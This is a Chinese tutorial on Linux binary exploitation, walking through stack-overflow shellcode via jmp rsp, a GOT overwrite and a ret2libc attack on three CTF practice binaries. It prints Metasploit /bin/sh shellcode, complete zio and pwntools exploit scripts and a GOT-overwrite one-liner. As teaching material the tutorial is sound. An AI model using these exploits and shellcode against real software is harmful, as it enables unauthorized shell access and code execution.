linux常见漏洞利用技术
当系统打开ASLR(基本都打开了)时,使用硬编码地址的话,就无法成功利用漏洞。在这种情况下就可以使用这种技术。程序必须关闭NX
当函数执行完,弹出了返回地址,rsp往往指向(返回地址+8),我们将shellcode放在此处就可以让程序执行,注意跳板不一定是rsp
在这儿用的程序是来自重庆邮电大学举办的cctf2015中pwn的第一题,感谢tracy_子鹏学长(程序见附件),运行环境64位linux
程序很简单,就是一个简单的接受输入
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx@1
char v5; // [sp+0h] [bp-1020h]@1
char v6; // [sp+1000h] [bp-20h]@1
int v7; // [sp+101Ch] [bp-4h]@1
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
puts(4938E4LL);
v7 = read(0LL, &v5, 4096LL);
return memcpy(&v6, &v5, v7);
}
我们输入的数据最终会复制到[bp-20h],而且没有长度限制,肯定就是有栈溢出漏洞
gdb pwn1
checksec
可以看到程序没有没有打开任何保护措施,现在唯一需要解决的就是系统自带的ASLR,(注意,使用gdb调试时,每次看到的栈地址可能是不变的,这并不代表系统没有打开ASLR,gdb调试时会自动关闭ASLR)
前面看到了我们输入的数据最终会复制到[bp-20h],我们先尝试输入40个数据,用python生成40个数据
gdb pwn1
r //运行程序
复制生成的输入进去
看到栈上没有成功覆盖发挥地址
再次使用八十字节
可以看出从第四十个字节开始的八个字节就会覆盖返回地址
首先我们需要一个shellcode,这可以通过msf生成 生成命令如下
show payload
use linux/x64/exec
set cmd /bin/sh
generate -t py -b “/x00″
即可得到shellcode
# linux/x64/exec – 87 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf = “”
buf += “\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05″
buf += “\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd”
buf += “\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4″
buf += “\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d”
buf += “\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53″
buf += “\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95″
buf += “\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44″
然后我们还需要一个跳板作为返回地址 peda就有这种功能
jmpcall rsp
我们就采用第一个地址, 注意64位系统,和little endian
然后我们使用zio写exp
from zio import *
io = zio(’./pwn1’)
# io = zio((’127.0.0.1′, 1234))
io.read_until(’overflow!’)
pad = ‘a’ * 40
# 43 68 7d : call rsp
jmpAddr = ‘\x7d\x68\x43\x00\x00\x00\x00\x00′
shellcode = “”
shellcode += “\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05″
shellcode += “\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd”
shellcode += “\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4″
shellcode += “\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d”
shellcode += “\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53″
shellcode += “\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95″
shellcode += “\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44″
io.write(pad + jmpAddr + shellcode)
io.interact()
python pwn1.py运行即可看到
已拿到shell
刚才我们是通过栈溢出漏洞攻击函数的返回地址,但是现在对于栈溢出,已经有很多保护,例如canary(与windows下的GS技术类似)。同时现在更常见的是指针覆盖漏洞,在这种情况下我们拥有一次修改任意内存的机会,在这时我们采用的往往就是GOT覆写技术。
GOT是全局偏移表,类似于windows中PE结构的IAT,只不过windows中IAT中的函数地址是写保护的,没办法利用,但是GOT是可 写的,我们可以将其中的函数地址覆盖为我们的shellcode地址,在程序后面调用这个函数时就会调用我们的shellcode了
在这儿我用的实验程序来自panable.kr中的passcode,比较简单,源码如下
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf(”enter passcode1 : “);
scanf(”%d”, passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf(”enter passcode2 : “);
scanf(”%d”, passcode2);
printf(”checking…\n”);
if(passcode1==338150 && passcode2==13371337){
printf(”Login OK!\n”);
system(”/bin/cat flag”);
}
else{
printf(”Login Failed!\n”);
exit(0);
}
}
void welcome(){
char name[100];
printf(”enter you name : “);
scanf(”%100s”, name);
printf(”Welcome %s!\n”, name);
}
int main(){
printf(”Toddler’s Secure Login System 1.0 beta.\n”);
welcome();
login();
// something after login…
printf(”Now I can safely trust you that you have credential :)\n”);
return 0;
}
编译后的程序见附件,32位 linux
感觉锐锐_z的指点
1 分析程序可知,scanf时,没有用取地址符,会使用栈上的数据作为指针存放输入的数据,而我们第一次输入的数据就是在栈上,简单调试可知,在welcome()函数中的name的最后4字节会在login()函数中被用作地址指针
2 这样,我们就获得了修改任意地址数据的一次机会
3 分析程序可知如果我们用后面调用system()的地址覆盖了printf()在GOT中的指针,那么在第二次login()中第二次调用printf()时就会直接去调用system()
4 现在我们需要知道两个东西,一是GOT中printf()的地址,二是程序中调用system()的地址
objdump -R passcode
即可获得printf()在的地址0804a000这是攻击目标,
然后打开gdb,运行到调用system()的地方,为什么我们可以直接使用这个地址呢,因为linux下面的程序默认没有随机化code段,
要写入的值即为 080485e3
5 最后得到
python -c “print(’a’*96+’\x00\xa0\x04\x08’+’\n’+’134514147\n’)” | ./passcode
134514147即为080485e3
成功改变了程序流程,读出flag文件的内容,注意这里需要你新建一个名叫flag的文件
当系统打开DEP时,我们不能自己直接在栈上放shellcode,就使用几乎每个linux系统都会自带的libc中的代码。
一种常见的利用方式是用libc中的system()的地址覆盖返回地址,同时在栈上布置好的参数,程序返回时就会产生一个shell
在这儿用的程序是强网杯的urldecoder(程序见附件),再次感谢tracy_子鹏学长指点
这道题同时开了ASLR和DEP.,运行环境为32位linux
分析程序后发现,前面读入数据时,只有遇到换行和EOF才会结束,但是后面检查字符串长度是用的strlen,于是可以通过在字符串中加入\x00来绕过长度检查
继续分析程序流程,发现,当输入为%1\x00时就可以成功覆盖返回地址
接下来就考虑利用漏洞的方法
观察到溢出后,程序会多输出一些栈上的数据出来,想到可以利用输出出来的一些数据定位libc加载的基址,然后将返回地址覆盖为前面读入数据的代码地址,再读一次数据,再溢出一次,这一次执行到返回时,就执行libc中的system函数
题目提供了libc,可以计算其中各函数的偏移,找到libc中system函数和/bin/sh字符串的地址,同时在栈上布置好参数,即可成功利用
下面附上exp及解释
from pwn import *
from zio import *
context(arch = ‘i386′, os = ‘linux’)
#注意此处ELF()的用处是后面计算偏移,你运行程序时还是用的当前系统的libc
#libc = ELF(’./libc.so.6.i386’)
libc = ELF(’/lib/i386-linux-gnu/i686/cmov/libc.so.6’)
#p = remote(’119.254.101.197′, 10001)
p = process(’./urldecoder’)
#第一次输入,获取libc中的地址信息
ret_addr = ‘\x90\x85\x04\x08′
payload = “http://baidu.com//%1″ + “\x00″ + “a”*137 + ret_addr
p.recvuntil(”URL:”)
p.send(payload + ‘\n’)
data = p.recvuntil(”URL:”)
base_addr = data[196:200]
printf_addr = l32(base_addr) – 117474
offset = libc.symbols[‘printf’] – libc.symbols[‘system’]
system_addr = printf_addr – offset
binsh_offset = next(libc.search(’/bin/sh’)) – libc.symbols[‘printf’]
binsh_addr = binsh_offset + printf_addr
#第二次输入
ret_addr = ‘\x12\x12\x12\x12′
payload = “http://baidu.com//%1″ + “\x00″ + “a”*137 + l32(system_addr) + ret_addr + l32(binsh_addr)
p.send(payload + ‘\n’)
p.interactive()
run
python url.py
成功利用
从中也可以看到,对于同时开了ASLR和DEP的程序,利用的难度确实高了不少
本文所涉及的工具
【ida】反汇编神器,下载地址down.52pojie.cn
【gdb】动态调试工具,ubuntu自带,但是自带高版本无法装peda插件。google 搜索downgrade gdb,重新安装低版本gdb即可
【pwntools和zio】两者均是用python开发的exp编写工具,同时方便了远程exp和本地exp的转换 sudo pip install pwntool / sudo pip install zio即可安装
【peda】gdb的一个插件,github上可以下载,增加了很多方便的功能
附件下载:http://drops.wooyun.org/wp-content/uploads/2015/06/%E7%A8%8B%E5%BA%8F.zip
上一篇:sha1的hash长度扩展攻击
下一篇:怎样防止U盘中毒